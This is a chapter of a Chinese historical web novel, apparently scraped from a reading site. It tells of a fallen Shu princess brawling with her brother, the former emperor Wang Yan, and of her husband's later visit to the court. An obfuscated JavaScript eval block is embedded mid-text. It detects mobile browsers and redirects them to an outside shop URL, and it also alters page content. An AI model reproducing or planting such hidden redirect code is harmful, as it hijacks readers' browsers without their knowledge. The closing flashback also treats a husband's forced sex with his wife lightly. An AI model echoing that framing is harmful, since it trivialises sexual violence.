就算亡了国,那也是他们大蜀曾经的皇帝啊! 天底下怎能有人扇皇帝耳光啊? 这事儿该怎么收场啊? 19. 第19章 岐蜀旧事 有那么一瞬,王衍呆若木鸡。 他当了近十年的皇帝,平日里唯我独尊惯了,别人在他面前都是极尽奉承,就算亡国之后大不如从前,可别人也都当他是贵人,何曾敢对他动手?! 惊愕回神之后,便是无尽无穷的恼怒,王衍整张面皮涨红起来,就像一个刚死之人骤变成了厉鬼。 “王云姝!”王衍厉声而吼,抬脚就朝普慈公主踹了过去。 普慈公主却是好反应,侧身一避,根本就没受这一脚,反而抬手就抓住了王衍的发髻。 这年头,男人的头发可不比女人短,打架抓头发放在男人身上,一样的好使。 “啊——” 王衍怒不可遏,厉声大吼。 他头发被抓着往下拽,整个人直不起身,腿也没法踹人,只能抬手也去拽普慈公主的头发。 姐弟俩人互拽着对方头发往地上摁,就像两头在抵角斗殴的倔牛。 徐太后惊愕莫名,拿手绢挡在嘴前,凄楚忧愤地颤着嗓子大喊:“快把他们拉开啊!” 紧挨在旁边的徐太妃愕然失色,一个劲儿地直流泪,“造孽啊!造孽啊……” 早已惊呆的妃嫔、王女、王子们,经太后这么一提醒,才堪堪回过神来,连忙跑过去,尝试把蜀主和公主拉开。 “啊——”王衍痛得直叫,“别拽朕!你们叫她松手啊!别只顾着拽朕!” 一个亡国之君是没资格自称“朕”的。 可此时情绪上了头,王衍哪儿顾得上那么多,只习惯性地自称“朕”,妄图像以前那样,拿皇帝身份去压人。 一众妃嫔王女王子们显然没有拉架的经验,只顾着把两人拉开,却不提防这俩人互拽着对方头发。只要这俩人不松手,众人再这么往两边一拉架,真能把人头皮都拽下来。 “别碰我!”普慈公主死拽着王衍发髻,“你们叫他先松手!” 王衍气得鼻孔都要喷烟了,也顾不上什么皇帝威仪,破口大骂:“你个泼妇!难怪李继崇不要你!大过年的,你在李府待不下去,就跑来宫里闹事儿!有本事你滚回去跟李继崇闹,你看他打不死你!” 这话可算是捅了马蜂窝。 普慈公主怒火狂飙,但还不忘维持贵女风范,就算回呛也坚决不说一句脏话:“笑话!你姐夫哪儿敢跟我打?实话告诉你吧,我这一身打人的本事就是在你姐夫身上练出来的!今儿个不让你瞧瞧我的厉害,你是不知道什么叫‘姐友弟恭’!” 话音一落,普慈公主伸手就揪住王衍的耳朵,用力一拧。 “啊——” 惨叫声瞬间直冲屋顶,差点把瓦片都掀翻了。 徐太妃正哀伤落泪,见此情状,忧愤惊惧莫名,一下子晕了过去。 “妹妹!”徐太后连忙去扶太妃。 她这一声“妹妹”可不是出于假模假样的人际客套,徐太妃真是她实打实的同父同母亲妹子。 姐妹俩人都殊容绝代,一同进宫,一同得宠。 只不过,妹妹无所出,就只有姐姐生了一个儿子,也即是王衍。 王衍乃是已故蜀主王建最小的一个儿子。 当年,在册立皇太子一事上,王衍作为“庶出幺子”,几乎没有竞储之望——位序排在他之前的成年皇子尚且有九位。 彼时,太后姐妹俩还只是妃嫔。 为了能让王衍当上皇太子,姐妹俩齐心协力,精准拉拢内宫权宦以及外朝权臣,同时对着皇帝王建大吹枕头风,好一番运作,才终于联手把王衍推上了太子宝座。 毫不夸张地说,王衍能当上这个皇帝,全靠太后、太妃二人之力。 后妃二人在这后宫之中相依为命,相互扶持,姐妹感情之深厚可想而知。 如今见妹妹倒下了,徐太后既惊且忧,眼泪蓦地也落了下来,急得直喊:“快来人啊!太妃晕倒啦……” 殿内霎时乱做了一团。 正是: 乱乱哄哄除夕夜,吵吵嚷嚷天家人。 * 除夕一过,便是同光四年正月初一。 新春第一日,天才蒙蒙亮,李继岌就起了床。 他这早起的习惯全得益于他家阿爷。 他阿爷一向有晨练的习惯,每天都会强迫他起床跟着练。 小时候,他贪睡起不了床,阿爷就硬把他从被窝里掏出来。 阿母和阿婆看不过眼,找阿爷闹了几回。 阿爷表面上应承,背地里却继续撺掇他晨练,还软硬兼施,不是诱惑说要给他好吃的,就是威胁说要揍他一顿。 他被阿爷逼得没办法,只能每天打着哈欠陪阿爷晨练。 如今,哪怕身边没阿爷管着,他也一到清晨就醒了。 虽然,阿爷老说他身体弱是因为练少了,可他老怀疑,自己体弱就是被阿爷这天天闹的。 李继岌一面思念自家“缺德的”阿爷,一面洗漱用饭。 刚用完朝食,就听通谒李廷安进殿禀报:“殿下,李驸马求见。” 李继岌没反应过来,“哪个‘李驸马’?” “就是普慈公主的驸马,李继崇。”李廷安作为通谒,专门负责通报、接引来访者。 能做好这个职务的人都自有一套记人的本事。 来蜀地这几个月,李廷安早把这些贵人的样貌、姓名、身份、人际网全都熟记于心,每日还会将这些信息默默温习一遍,就怕出一点差错。 如今主公一问起李继崇,李廷安便从容介绍,“他原是已故岐王李茂贞的侄子,骁勇善战,获封天雄军节度使。” “先前,岐蜀关系缓和,‘故岐王’便为李继崇向蜀国求亲,以结邦交之好。‘故蜀主’王建便以普慈公主嫁于李继崇。” “后来,岐蜀交战,‘故岐王’安排李继崇镇守秦州。哪曾想,李继崇在前线顶不住,直接举秦州投降了蜀国。” “他本就是普慈公主的驸马,投降之后,蜀国也没亏待他,转头就授予他武泰军节度使兼中书令,爵封陇西王,这爵位比他在岐国时还要高上一筹呢。” 不过,现在蜀国已经亡了,李继崇在蜀国所获得的官爵自然也成了“过去之事”。 虽说朝廷在去年闰十二月已下诏,规定原蜀国文武官员都应降黜或贬废,但像李继崇这种宗室贵人则暂时保持了原爵称谓。 这些贵人要等去京城觐见过皇帝后,由皇帝重新拟定官爵。 “原来是他啊。”李继岌不免有些困惑,“他来做什么?” 李廷安低声道:“听说,西宫那边昨晚闹了一架,李驸马估计是为这事来的。” 李继岌顿生看戏之心,面上还得假作正经:“快请李驸马进殿。” 李廷安领命而退。 李继岌则从容起身,悠哉悠哉地出了寝殿,直往不远处的便殿而去。 入得便殿,只见一个中年汉子早站立等在那儿了,一把络腮胡,身形魁梧,面相失之于粗犷,不笑便已唬人,笑起来则更是唬人,就像是野兽发狂似的。 这人就是驸马都尉,李继崇。 李继岌有点不厚道地想,普慈公主天天对着这么张脸,晚上不会做噩梦吗? “大王。”李继崇唱喏过后,直诉来意,“昨日除夕,我家公主入宫团年,本说好了当夜便会回府。但昨晚,公主彻夜未归,到今晨也不见踪影。某斗胆觐见,想请大王替某问一问,公主是否还在宫中?今日可否随某回府?” 李继岌心情有点微妙,错觉吗?他怎么觉得这话听着有点窝窝囊囊的,神似他阿爷提及阿娘那味儿。 但这种想法一闪而过,他爽快应道:“这有何难?知柔,你快去西宫问问。” “遵命!”吕知柔作为军府纪纲,本就要承担各种琐碎杂务,如今又和自家主公一样存了看热闹的心思,应承起来格外爽利。 等了一会儿,李继岌不见人回来复命,心里有点不耐烦了,不过秉承着要看好戏的心思,他还是硬撑着端坐在上首,时不时和李继崇闲聊几句。 李继崇年纪比李继岌大了两轮,见过的场面多了去了,哪能看不出这毛头小子在等着看他的笑话?可如今形势比人强,他只能耐着性子应付这位大唐亲王。 正当这俩男人都感觉心力交瘁之时,普慈公主姗姗来迟。 李继岌昨日是见过公主的。 因为按照规矩,普慈公主作为一个亡国公主,想要入宫面见蜀主,就必须先觐见李继岌这位大唐亲王。 李继岌记得,普慈公主昨天打扮得很讲究,金钗步摇,美妆华服,处处都透着一股绝不能让人看轻的倔强劲儿。 可今日,普慈公主的发髻变了个样式,耳朵上那对流光坠子也没了。 更不同的是,普慈公主脸上戴着面纱,像是羞于见人似的,就连身上的衣裳也好像不是昨天那一套。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426930|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大王,”普慈公主端庄行礼,“妾昨日感染风寒,怕把病气过给大王,便斗胆覆面觐见,还望大王见谅。” 李继岌瞅了瞅公主,心里已猜到了几分真相,但看破不说破,“寡人岂是不讲理之人?公主既身体违和,不需讲究这些虚礼,且随驸马回府休养吧。” “多谢大王体恤。”普慈公主行了一礼,“妾告退。” 驸马李继崇也跟着作揖告退。 李继岌看着这俩夫妻走出了便殿,小声笑着揶揄道:“昨晚这架打得很厉害啊?” 吕知柔憋着笑点点头,“臣方才去西宫找普慈公主,徐太后她们说公主还在梳妆,让臣稍作等候。臣猜她们是忙着遮掩行迹,就见她们在屋里面忙活了半天,才手忙脚乱地把公主给扶了出来。” 李继岌笑问:“公主这是跟谁打架了?” 吕知柔神色古怪起来,躬身凑到魏王耳边低声道:“听说好像是蜀主。” “啊?”李继岌不可置信。 公主怎么可能跟“皇帝”打起来了? 蜀地的娘子这么彪悍的吗? * 另一厢。 马车里,李继崇趁公主不注意,伸手就扯掉了公主脸上的面纱,登时便见公主嘴角淤青,脸颊发肿。 “谁打的你!”李继崇双目喷火,几乎要把手里的面纱捏烂。 “什么叫有人打我?”普慈公主愤愤回怼,“我这是跟人互殴!” 李继崇噎了一下,无奈改口:“那你打了谁?” 普慈公主悻悻道:“王衍。” “啊?”李继崇始料未及,“这、这……这怎么像话啊?” “怎么了?”普慈公主不服气地道,“我是他姐姐,姐姐收拾弟弟还不行吗?” 李继崇无言以对,默了片刻,问道:“那你打赢了吗?” 普慈公主得意地笑了笑,咧了下嘴道:“你看我牙口好吗?” 李继崇顿时耳朵、脖颈、肩背都隐隐有种发痛的错觉,结巴地小声道:“好、好啊。” “那就是我打赢了。”普慈公主嘚瑟笑道,“王衍那臭小子,自以为是个男人就能打得过我。他也不想想,这些年,他早被酒色掏空了身子,哪儿是我的对手?” 李继崇看着公主那半张发肿的脸,不由得直叹气,“怎么就打起来了?” 普慈公主不想承认姐弟俩是为了亡国之事打架,不由得恼羞成怒,转而把驸马骂了个狗血喷头:“那还不都是因为你!当年我不过就回蜀国省了趟亲,你转头就领着岐人打过来了!王衍到现在都还拿这事儿奚落我呢,说我是蜀国罪人!” “这……这怎么能这么算呢?”李继崇一听公主提当年之事就不免头疼尴尬。 * 当年,普慈公主可不是回家省亲那么简单。 那时,他跟公主已成婚七载,儿子都有了两个,但感情并不和睦。 倒不是他不中意公主,他稀罕得很。 问题是人家公主一直都瞧不上他,嫌他粗鲁无礼。 每次只要他一喝酒,公主就不准他上床,非要撵他去隔壁厢房。 李继崇心里很不是滋味,起初还想硬闯卧房,结果公主看着娇弱,人却是彪悍得很,对他又捶又打又咬的,他只能灰头土脸地滚回去睡厢房。 为了能过上和和美美的夫妻生活,李继崇也想过戒酒,可常在军营里行走的人,怎么可能滴酒不沾? 他根本就戒不掉。 亏得某次有个兄弟诉苦,点醒了他:“我怀疑我家婆娘是不是在外面有人了。我每次放旬假回家,她不是说来了月事就是说身子不爽利,反正就是不让我碰!你说说,她是不是故意找借口避开我?她是不是背着我跟别的野男人好上了?” 这话狠狠扎中了李继崇的心。 他一下子悟了。 公主哪里是嫌弃他喝酒? 他俩都成婚七载了,公主还能适应不了他喝酒这事儿? 她分明是嫌弃他这个人,所以找着借口不让他碰! 那晚,李继崇喝了一坛酒壮胆儿,回到府上就跟公主大吵了一架。 在独守厢房多日之后,他终于借着酒胆强行成就了好事。 然而,挨打肯定是免不了的。 好在他皮糙肉厚,就算被扇巴掌也肿不了。 可问题在于,强做好事之后,公主更嫌弃他了……